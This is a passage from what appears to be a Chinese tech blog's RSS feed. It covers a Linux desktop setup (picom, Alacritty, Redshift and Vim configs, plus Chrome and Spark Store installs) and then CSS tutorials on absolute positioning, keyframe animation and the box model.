# 性能不佳，具有依赖于驱动程序的行为。名称可能会改变。
#
# blur-background-frame = false
# 使用固定的模糊强度，而不是根据窗口不透明度进行调整。
# 模糊背景固定 = 假
# 指定模糊卷积核，格式如下：
# example:
#   blur-kern = &quot;5,5,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1&quot;;
#
# blur-kern = &quot;&quot;

blur-kern = &quot;3x3box&quot;;

# 排除背景模糊的条件。

# blur-background-exclude = []
blur-background-exclude = [
  &quot;window_type = &apos;dock&apos;&quot;,
  &quot;window_type = &apos;desktop&apos;&quot;,
  &quot;_GTK_FRAME_EXTENTS@:c&quot;
];



#################################
#       General Settings        #
#################################
# 守护进程。初始化后分叉到后台。导致某些（编写错误的）驱动程序出现问题。
# daemon = false
# 指定要使用的后端：`xrender`、`glx` 或 `xr_glx_hybrid`。
# `xrender` is the default one.
# backend = &quot;glx&quot;

backend = &quot;xrender&quot;;

# 启用/禁用垂直同步。
# vsync = false

vsync = true;

# 通过 D-Bus 启用远程控制。有关详细信息，请参阅下面的 *D-BUS API* 部分。
# dbus = false
# 尝试检测 WM 窗口（一个非覆盖重定向窗口，没有
# 具有&apos;WM_STATE&apos;的孩子）并将它们标记为活动。
#
# mark-wmwin-focused = false

mark-wmwin-focused = true;

# 标记没有以“WM_STATE”为焦点的子窗口的覆盖重定向窗口。
# mark-ovredir-focused = false

mark-ovredir-focused = true;

# 尝试检测带有圆角的窗口并且不考虑它们
# 形状的窗户。不幸的是，准确度不是很高。
#
# detect-rounded-corners = false

detect-rounded-corners = true;

# 在客户端窗口上检测&apos;_NET_WM_WINDOW_OPACITY&apos;，对窗口管理器很有用
# 不将客户端窗口的“_NET_WM_WINDOW_OPACITY”传递给框架窗口。
#
# detect-client-opacity = false

detect-client-opacity = true;

# 使用 EWMH &apos;_NET_ACTIVE_WINDOW&apos; 来确定当前聚焦的窗口，
# 而不是听 &apos;FocusIn&apos;/&apos;FocusOut&apos; 事件。可能精度更高，
# 前提是 WM 支持它。
#
# use-ewmh-active-win = false
# 如果检测到全屏不透明窗口，则取消重定向所有窗口，
# 最大化全屏窗口的性能。已知会导致闪烁
# 当重定向/取消重定向窗口时。
#
# unredir-if-possible = false
# 取消重定向窗口前的延迟，以毫秒为单位。默认为 0。
# unredir-if-possible-delay = 0
# 不应该被视为非重定向屏幕全屏的窗口条件。
# unredir-if-possible-exclude = []
# 使用 &apos;WM_TRANSIENT_FOR&apos; 对窗口进行分组，并考虑窗口
#在同一组中同时专注。
#
# detect-transient = false

detect-transient = true;

# 使用 &apos;WM_CLIENT_LEADER&apos; 对窗口进行分组，并考虑同一个窗口
# 小组同时聚焦。这通常意味着来自同一应用程序的窗口
# 将同时被视为专注或不专注。
# 如果启用了检测瞬态，&apos;WM_TRANSIENT_FOR&apos; 具有更高的优先级。
#
# detect-client-leader = false
# 将损坏区域的大小调整为特定数量的像素。
# 正值放大，负值缩小。
# 如果值为正，则不会实际绘制那些额外的像素
# 到屏幕，仅用于模糊计算等。 （由于技术限制，
# 使用损坏，这些像素仍然会错误地绘制到屏幕上。）
# 主要用于修复模糊的线路损坏问题，
# 在这种情况下你应该在这里使用模糊半径值
# （例如，对于 3x3 内核，您应该使用 `--resize-damage 1`，
# 使用 5x5 的 `--resize-damage 2`，依此类推）。
# 可能会也可能不会与 *--glx-no-stencil* 一起使用。收缩功能不正常。
#
# resize-damage = 1
# 指定应该用反转颜色绘制的窗口的条件列表。
# 资源占用，并且没有经过很好的测试。
#
# invert-color-include = []

# GLX 后端：避免使用模板缓冲区，如果您没有模板缓冲区，这很有用。
# 在渲染透明内容时可能会导致不正确的不透明度（但绝不会
# 实际上发生了）并且可能不适用于模糊背景。
# 我的测试显示性能提升了 15%。推荐的。
#

glx-no-stencil = true;

# GLX 后端：避免在窗口损坏时重新绑定像素图。
# 可能可以提高快速窗口内容更改的性能，
# 但已知会破坏某些驱动程序（LLVMpipe、xf86-video-intel 等）。
# 如果可行，推荐。
#
# glx-no-rebind-pixmap = false
# 禁用损坏信息。
# 这会导致每次重绘整个屏幕，而不是屏幕的一部分
#实际上已经改变了。可能会降低性能，但可能会修复一些伪影。
# 对立的选项是使用伤害
#
# no-use-damage = false

use-damage = true;

# 使用 X Sync fence 来同步客户端的draw call，确保所有draw
# 调用在 picom 开始绘制之前完成。需要 nvidia 驱动程序
# 为某些用户使用 GLX 后端。
#
# xrender-sync-fence = false

# GLX 后端：使用指定的 GLSL 片段着色器来渲染窗口内容。
# 参见 `compton-default-fshader-win.glsl` 和 `compton-fake-transparency-fshader-win.glsl`
# 在源代码树中作为示例。
#
# glx-fshader-win = &quot;&quot;

# 强制所有窗口使用混合进行绘制。如果你有用
# 有一个 glx-fshader-win 可以把不透明的像素变成透明的。
#
# force-win-blend = false
# 不要使用 EWMH 检测全屏窗口。
# 恢复为仅根据其大小和坐标检查窗口是否为全屏。
#
# no-ewmh-fullscreen = false
# 调暗明亮的窗户，使其亮度不超过此设定值。
# 窗口的亮度是通过平均窗口中的所有像素来估计的，
# 所以这可能会带来性能损失。
# 将此设置为 1.0 会禁用此行为。需要禁用 --use-damage。 （默认值：1.0）
#
# max-brightness = 1.0
# 让透明窗口像非透明窗口一样剪辑其他窗口，
# 而不是在它们之上混合。
#
# transparent-clipping = false
# 设置日志级别。可能的值为：
#  &quot;trace&quot;, &quot;debug&quot;, &quot;info&quot;, &quot;warn&quot;, &quot;error&quot;
# 越来越重要。大小写无关紧要。
# 如果使用“TRACE”日志级别，最好登录到文件中
# 使用 *--log-file*，因为它可以生成大量日志。
#
# log-level = &quot;debug&quot;

log-level = &quot;warn&quot;;

# 设置日志文件。
# 如果 *--log-file* 从未指定，日志将被写入标准错误。
# 否则，日志将写入给定文件，尽管一些早期的
# 日志可能仍会写入标准错误。
# 从配置文件中设置此选项时，建议使用绝对路径。
#
# log-file = &quot;/path/to/your/log/file&quot;
# 显示所有 X 错误（用于调试）
# show-all-xerrors = false
# 将进程 ID 写入文件。
# write-pid-path = &quot;/path/to/your/log/file&quot;
# 窗口类型设置
#
# &apos;WINDOW_TYPE&apos; 是 EWMH 标准中定义的 15 种窗口类型之一：
#     &quot;unknown&quot;, &quot;desktop&quot;, &quot;dock&quot;, &quot;toolbar&quot;, &quot;menu&quot;, &quot;utility&quot;,
#     &quot;splash&quot;, &quot;dialog&quot;, &quot;normal&quot;, &quot;dropdown_menu&quot;, &quot;popup_menu&quot;,
#     &quot;tooltip&quot;, &quot;notification&quot;, &quot;combo&quot;, and &quot;dnd&quot;.
#

# 以下每个窗口类型选项可用：::
#
#   fade, shadow:::
#     Controls window-type-specific shadow and fade settings.
#
#   opacity:::
#     Controls default opacity of the window type.
#
#   focus:::
#     Controls whether the window of this type is to be always considered focused.
#     (By default, all window types except &quot;normal&quot; and &quot;dialog&quot; has this on.)
#
#   full-shadow:::
#     Controls whether shadow is drawn under the parts of the window that you
#     normally won&apos;t be able to see. Useful when the window has parts of it
#     transparent, and you want shadows in those areas.
#
#   clip-shadow-above:::
#     Controls wether shadows that would have been drawn above the window should
#     be clipped. Useful for dock windows that should have no shadow painted on top.
#
#   redir-ignore:::
#     Controls whether this type of windows should cause screen to become
#     redirected again after been unredirected. If you have unredir-if-possible
#     set, and doesn&apos;t want certain window to cause unnecessary screen redirection,
#     you can set this to `true`.
#
wintypes:
{
  tooltip = { fade = true; shadow = false; opacity = 0.75; focus = true; full-shadow = false; };
  dock = { shadow = false; clip-shadow-above = true; }
  dnd = { shadow = false; }
  popup_menu = { opacity = 0.8; }
  dropdown_menu = { opacity = 0.8; }
};
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;安装后软件安装&lt;/h2&gt;
&lt;h3&gt;浏览器安装&lt;/h3&gt;
&lt;p&gt;我是直接终端下载Chrome的deb安装包安装&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后本地安装&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt install google*.deb
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;spark store安装&lt;/h3&gt;
&lt;p&gt;打开浏览器并访问其官网或&lt;a href=&quot;https://gitee.com/spark-store-project/spark-store/releases/download/4.2.12/spark-store_4.2.12_amd64.deb&quot;&gt;点此下载4.2.12的amd64安装包&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;然后打开终端&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd ./Download

sudo apt install spark*.deb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;随后使用Mod+D即可找到星火商店。&lt;/p&gt;
&lt;h3&gt;Alacritty&lt;/h3&gt;
&lt;p&gt;配置文件的位置在/home/username/.config/alacritty/alacritty.yml（若不存在可自行创建）&lt;/p&gt;
&lt;p&gt;下面是我的配置，使用前要安装JetBrains Mono字体&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Colors (Aura Theme)
colors:
  # Default colors
  primary:
    background: &apos;#15141b&apos;
    foreground: &apos;#edecee&apos;

  cursor:
    cursor: &apos;#00D1FF&apos;

  selection:
    bash: CellForeground
    background: &apos;#29263c&apos;

  # Normal colors
  normal:
    black: &apos;#110f18&apos;
    red: &apos;#ff6767&apos;
    green: &apos;#61ffca&apos;
    yellow: &apos;#ffca85&apos;
    blue: &apos;#a277ff&apos;
    magenta: &apos;#a277ff&apos;
    cyan: &apos;#61ffca&apos;
    white: &apos;#edecee&apos;

  # Bright colors
  bright:
    black: &apos;#4d4d4d&apos;
    red: &apos;#ff6767&apos;
    green: &apos;#61ffca&apos;
    yellow: &apos;#ffca85&apos;
    blue: &apos;#a277ff&apos;
    magenta: &apos;#a277ff&apos;
    cyan: &apos;#61ffca&apos;
    white: &apos;#edecee&apos;

  search:

    matches:
      foreground: &apos;#000000&apos;
      background: &apos;#ffffff&apos;
    focused_match:
      foreground: &apos;#ffffff&apos;
      background: &apos;#00D1FF&apos;

# 设置字体
font:
  normal:
    family: &apos;JetBrains Mono&apos;
    style: Regular

  bold:
    family: &apos;JetBrains Mono&apos;
    style: Regular

  italic:
    family: &apos;JetBrains Mono&apos;
    style: Italic

  bold_italic:
    family: &apos;JetBrains Mono&apos;
    style: Italic

  # 字大小
  size: 8

  offset:
    x: 0
    y: 1

  glyph_offset:
    x: 0
    y: 1



window:
  padding:
    x: 22
    y: 22

  decorations: transparent

  dimensions:

    columns: 80
    lines: 25



scrolling:
  # 回滚缓冲区中的最大行数,指定“0”将禁用滚动。
  history: 100000
  # 滚动行数
  multiplier: 4



cursor:
  style:
    shape: Beam

# 如果为‘true’，则使用亮色变体绘制粗体文本。
draw_bold_bash_with_bright_colors: false

selection:
  semantic_escape_chars: &apos;,│`|:&quot;&apos;&apos; ()[]{}&amp;lt;&amp;gt;&apos;
  save_to_clipboard: true

live_config_reload: true
key_bindings:
  - { key: R, mods: Command, mode: ~Vi|~Search, chars: &quot;\x0c&quot; }
  - { key: R, mods: Command, mode: ~Vi|~Search, action: ClearHistory }
  - { key: W, mods: Command, action: Hide }
  - { key: W, mods: Command|Shift, action: Quit }
  - { key: N, mods: Command, action: SpawnNewInstance }
  - { key: T, mods: Command, action: CreateNewWindow }
  - { key: Left, mods: Alt, chars: &quot;\x1bb&quot; } # Skip word left
  - { key: Right, mods: Alt, chars: &quot;\x1bf&quot; } # Skip word right
  - { key: Left, mods: Command, chars: &quot;\x01&quot; } # Home
  - { key: Right, mods: Command, chars: &quot;\x05&quot; } # End
  - { key: Back, mods: Command, chars: &quot;\x15&quot; } # Delete line
  - { key: Back, mods: Alt, chars: &quot;\x1b\x7f&quot; } # Delete word
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Ranger&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;输入：ranger --copy-config=all
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在./home/username/.config/ranger/rc.conf中可以调整字体的大小&lt;/p&gt;
&lt;h3&gt;Redshift&lt;/h3&gt;
&lt;p&gt;在./home/username/.config目录下新建redshift.conf&lt;/p&gt;
&lt;p&gt;下面是我的配置文件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;; Global settings for redshift

[redshift]
; Set the day and night screen temperatures
temp-day=5000
temp-night=3500
; Enable/Disable a smooth transition between day and night
; 0 will cause a direct change from day to night screen temperature.
; 1 will gradually increase or decrease the screen temperature.
transition=1
; Set the screen brightness. Default is 1.0.
;brightness=0.9
; It is also possible to use different settings for day and night
; since version 1.8.
;brightness-day=0.7
;brightness-night=0.4
; Set the screen gamma (for all colors, or each color channel
; individually)
gamma=0.8
;gamma=0.8:0.7:0.8
; This can also be set individually for day and night since
; version 1.10.
;gamma-day=0.8:0.7:0.8
;gamma-night=0.6
; Set the location-provider: geoclue, geoclue2, manual
; type redshift -l list to see possible values.
; The location provider settings are in a different section.
location-provider=manual
; Set the adjustment-method: randr, vidmode
; type redshift -m list to see all possible values.
; randr is the preferred method, vidmode is an older API.
; but works in some cases when randr does not.
; The adjustment method settings are in a different section.
adjustment-method=randr
; Configuration of the location-provider:
; type redshift -l PROVIDER:help to see the settings.
; ex: redshift -l manual:help
; Keep in mind that longitudes west of Greenwich (e.g. the Americas)
; are negative numbers.

[manual]
lat=22.5
lon=88.3
; Configuration of the adjustment-method
; type redshift -m METHOD:help to see the settings.
; ex: redshift -m randr:help
; In this example, randr is configured to adjust screen 1.
; Note that the numbering starts from 0, so this is actually the
; second screen. If this option is not specified, Redshift will try
; to adjust _all_ screens.

[randr]
screen=0
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Vim&lt;/h3&gt;
&lt;p&gt;在./home/username目录下新建.vimrc文件&lt;/p&gt;
&lt;p&gt;下面是我的配置文件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;=========================================================================
&quot;
&quot;&quot; 根据他人配置进行增加个性化设置
&quot;
&quot;&quot;=========================================================================

map &amp;lt;F3&amp;gt; :Explore&amp;lt;CR&amp;gt;
map &amp;lt;S-F3&amp;gt; :Vexplore&amp;lt;CR&amp;gt;
map &amp;lt;C-F3&amp;gt; :Sexplore&amp;lt;CR&amp;gt;  

imap jk &amp;lt;Esc&amp;gt;

nmap &amp;lt;space&amp;gt; :

syntax on
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>绝对定位</title><link>https://ivoinkwell.xyz/posts/web-frontend/css-absolute-positioning/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/web-frontend/css-absolute-positioning/</guid><pubDate>Sun, 15 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;在使用相对定位对元素进行微调之后，在相对定位的元素内就可以对内部的组件进行很轻易的左右对齐和上下移动等等操作。但是相较于相对定位，在很多概念上面其实并不是非常一致，例如普通文档流中和定位上下文（包含块）等。&lt;/p&gt;
&lt;h2&gt;概念&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;相对定位&lt;/th&gt;
&lt;th&gt;绝对定位&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;相对于元素自己本身的位置。&lt;/td&gt;
&lt;td&gt;相对于非&lt;code&gt;static&lt;/code&gt;（静态）的父元素进行移动，若没有父元素或所有父元素均为&lt;code&gt;static&lt;/code&gt;（静态），则默认相对于浏览器窗口进行移动。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;原本的元素会继续保持在原本文档流的位置不动。&lt;/td&gt;
&lt;td&gt;原内容会脱离正常的文档流，会对后面的元素产生一定的影响。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;语法格式&lt;/h2&gt;
&lt;h3&gt;属性&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;position&lt;/code&gt;：默认值是&lt;code&gt;static&lt;/code&gt;，绝对定位则是&lt;code&gt;absolute&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;top&lt;/code&gt;：&lt;strong&gt;正值&lt;/strong&gt;：相对于父元素的上边框增加多少距离（向下移动）；&lt;strong&gt;负值&lt;/strong&gt;：相对于父元素的上边框减少多少距离（向上移动）；&lt;strong&gt;优先级高于&lt;code&gt;bottom&lt;/code&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;left&lt;/code&gt;：&lt;strong&gt;正值&lt;/strong&gt;：相对于父元素的左边框增加多少距离（向右移动）；&lt;strong&gt;负值&lt;/strong&gt;：相对于父元素的左边框减少多少距离（向左移动）；&lt;strong&gt;优先级高于&lt;code&gt;right&lt;/code&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bottom&lt;/code&gt;：&lt;strong&gt;正值&lt;/strong&gt;：相对于父元素的下边框增加多少距离（向上移动）；&lt;strong&gt;负值&lt;/strong&gt;：相对于父元素的下边框减少多少距离（向下移动）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;right&lt;/code&gt;：&lt;strong&gt;正值&lt;/strong&gt;：相对于父元素的右边框增加多少距离（向左移动）；&lt;strong&gt;负值&lt;/strong&gt;：相对于父元素的右边框减少多少距离（向右移动）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;z-index&lt;/code&gt;：层级顺序，&lt;strong&gt;绝对定位元素高于普通文档流中元素&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;当元素宽&lt;code&gt;width&lt;/code&gt;和高&lt;code&gt;height&lt;/code&gt;未定义的时候两个元素同时生效，无优先级之分&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;格式&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;.elements {
    position: relative;
}
.elements-container {
	position: absolute;
    top: 10px;
    left: 20px;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;案例&lt;/h2&gt;
&lt;p&gt;我认为最实用的还是下拉菜单这样的功能，于是选取这一个。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;以下是源码：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;style&amp;gt;
        .dropdown {
            position: relative;
            display: inline-block;
            margin: 20px;
        }
        
        .dropbtn {
            background: #3498db;
            color: white;
            padding: 12px 24px;
            border: none;
            border-radius: 4px;
            cursor: pointer;
            font-size: 16px;
        }
        
        .dropdown-content {
            position: absolute;
            top: 100%;
            left: 0;
            min-width: 160px;
            background: white;
            box-shadow: 0 8px 16px rgba(0,0,0,0.2);
            opacity: 0;
			transform: translate(0, -20px);
            visibility: hidden;
            transition: all 0.3s ease;
        }
        
        .dropdown-content a {
            display: block;
            padding: 12px 16px;
            text-decoration: none;
            color: #333;
            border-bottom: 1px solid #eee;
        }
        
        .dropdown-content a:hover {
            background: #f5f5f5;
        }
        
        .dropdown:hover .dropdown-content {
            opacity: 1;
			transform: translate(0, 0);
            visibility: visible;
        }
    &amp;lt;/style&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;div class=&quot;dropdown&quot;&amp;gt;
        &amp;lt;button class=&quot;dropbtn&quot;&amp;gt;下拉菜单&amp;lt;/button&amp;gt;
        &amp;lt;div class=&quot;dropdown-content&quot;&amp;gt;
            &amp;lt;a href=&quot;#&quot;&amp;gt;菜单项 1&amp;lt;/a&amp;gt;
            &amp;lt;a href=&quot;#&quot;&amp;gt;菜单项 2&amp;lt;/a&amp;gt;
            &amp;lt;a href=&quot;#&quot;&amp;gt;菜单项 3&amp;lt;/a&amp;gt;
            &amp;lt;a href=&quot;#&quot;&amp;gt;菜单项 4&amp;lt;/a&amp;gt;
        &amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>使用animation实现复杂形态过渡动画</title><link>https://ivoinkwell.xyz/posts/web-frontend/css-animation-complex-transitions/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/web-frontend/css-animation-complex-transitions/</guid><pubDate>Sun, 15 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;之前使用&lt;code&gt;transition&lt;/code&gt;属性确实是让元素在变换的时候有了过渡的动画效果，但是如果想要实现一个属性的三次甚至多次变换，就需要使用另外一个动画属性&lt;code&gt;animation&lt;/code&gt;。&lt;/p&gt;
&lt;h2&gt;&lt;code&gt;animation&lt;/code&gt;属性组成&lt;/h2&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;定义&lt;/strong&gt; - 移动时间中每一个部分需要变换的属性&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;应用&lt;/strong&gt; - 将定义的动画应用到元素上&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;h3&gt;定义&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;格式：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@keyframes {
    0% {
        
    }
    50% {
        
    }
    100% {
        
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;写法：&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;其中间可以是1-99的任意值，&lt;code&gt;50%&lt;/code&gt;仅为格式示意&lt;/li&gt;
&lt;li&gt;在大括号内直接写属性需要实现的效果&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;定义开始和结尾，可以使用上面的格式也可以使用下面的格式，虽然正确，但是统一性不强&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@keyframes {
    from {
        
    }
    50% {
        
    }
    to {
        
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;应用&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;格式：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.element {
    animation: name(名称) duration(动画时间) timing-function(速度曲线) fill-mode(等待或者停止时显示的样式) delay(延迟时间) iteration-count(动画播放次数);
    animation-play-state(动画暂停或者播放): ;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;写法：&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;animation-play-state&lt;/code&gt;要单独写（**例：**不要直接使用&lt;code&gt;animation: paused;&lt;/code&gt;进行暂停）&lt;/li&gt;
&lt;li&gt;animation属性值需要按照顺序摆放，如果有&lt;strong&gt;不需要的直接不写即可&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h2&gt;&lt;code&gt;animation&lt;/code&gt;进度条&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
	&amp;lt;head&amp;gt;
		&amp;lt;meta charset=&quot;utf-8&quot;&amp;gt;
		&amp;lt;title&amp;gt;进度条动画&amp;lt;/title&amp;gt;
		&amp;lt;style&amp;gt;
			.progressContainer {
				margin: 20px auto;
				width: 600px;
				height: 20px;
				background-color: grey;
				border-radius: 20px;
			}
			.progressBar {
				/* width: 200px; */
				height: 20px;
				background-color: green;
				border-radius: 20px;
				animation: fill 3s ease-in-out infinite;
			}
			@keyframes fill {
				0% {
					width: 0;
				}
				100% {
					width: 600px;
				}
			}
		&amp;lt;/style&amp;gt;
	&amp;lt;/head&amp;gt;
	&amp;lt;body&amp;gt;
		&amp;lt;div class=&quot;progressContainer&quot;&amp;gt;
			&amp;lt;div class=&quot;progressBar&quot;&amp;gt;&amp;lt;/div&amp;gt;
		&amp;lt;/div&amp;gt;
	&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>盒子模型与布局</title><link>https://ivoinkwell.xyz/posts/web-frontend/css-box-model-and-layout/</link><guid isPermaLink="true">https://ivoinkwell.xyz/posts/web-frontend/css-box-model-and-layout/</guid><pubDate>Sun, 15 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言：掌握布局的艺术&lt;/h1&gt;
&lt;p&gt;欢迎回到前端学习之旅！在深入理解盒子模型基础后，今天我们将探索更高级的布局技巧。这些知识是创建专业网页的关键，能解决实际开发中的常见问题。无论你是想构建导航栏、卡片布局还是响应式页面，本教程都将为你提供实用解决方案！&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;第一部分：深入盒模型类型&lt;/h2&gt;
&lt;h3&gt;content-box vs border-box 终极对决&lt;/h3&gt;
&lt;p&gt;在标准盒模型中：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 默认模式 - content-box */
div {
  width: 300px;
  padding: 20px;
  border: 5px solid blue;
  /* 实际宽度 = 300 + 20*2 + 5*2 = 350px */
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在更实用的border-box模型中：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 推荐模式 - border-box */
div {
  box-sizing: border-box;
  width: 300px;
  padding: 20px;
  border: 5px solid blue;
  /* 实际宽度 = 300px (包含padding和border) */
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;全局设置最佳实践&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 重置所有元素为border-box */
*, *::before, *::after {
  box-sizing: border-box;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;为什么border-box改变一切？&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;直观尺寸控制&lt;/strong&gt;：设置的width就是最终可见宽度&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;简化计算&lt;/strong&gt;：不再需要手动减去padding和border&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;响应式友好&lt;/strong&gt;：百分比布局更可靠&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;跨浏览器一致性&lt;/strong&gt;：减少布局差异&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;第二部分：外边距合并现象解析&lt;/h2&gt;
&lt;h3&gt;什么是外边距合并？&lt;/h3&gt;
&lt;p&gt;当两个垂直相邻的块级元素相遇时，它们的外边距会合并为一个外边距，取两者中的较大值。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;三种合并情况&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;相邻兄弟元素&lt;/li&gt;
&lt;li&gt;父元素与第一个/最后一个子元素&lt;/li&gt;
&lt;li&gt;空块级元素&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;可视化示例&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;box box1&quot;&amp;gt;Box 1 (margin-bottom: 50px)&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;box box2&quot;&amp;gt;Box 2 (margin-top: 30px)&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;.box {
  background: #f1c40f;
  height: 100px;
}

.box1 {
  margin-bottom: 50px;
}

.box2 {
  margin-top: 30px;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在这个例子中，两个盒子之间的实际距离是50px（不是80px），因为外边距发生了合并。&lt;/p&gt;
&lt;h3&gt;解决方案：打破外边距合并&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;添加边框或内边距&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.parent {
  padding-top: 1px; /* 防止与第一个子元素合并 */
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;使用overflow属性&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.container {
  overflow: auto; /* 或 hidden */
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;使用Flexbox或Grid布局&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.parent {
  display: flex;
  flex-direction: column;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;添加透明边框&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.element {
  border: 1px solid transparent;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;第三部分：元素显示类型详解&lt;/h2&gt;
&lt;h3&gt;块级元素 vs 行内元素&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;特性&lt;/th&gt;
&lt;th&gt;块级元素 (block)&lt;/th&gt;
&lt;th&gt;行内元素 (inline)&lt;/th&gt;
&lt;th&gt;行内块 (inline-block)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;宽度&lt;/td&gt;
&lt;td&gt;占据父容器全宽&lt;/td&gt;
&lt;td&gt;仅需内容宽度&lt;/td&gt;
&lt;td&gt;仅需内容宽度&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
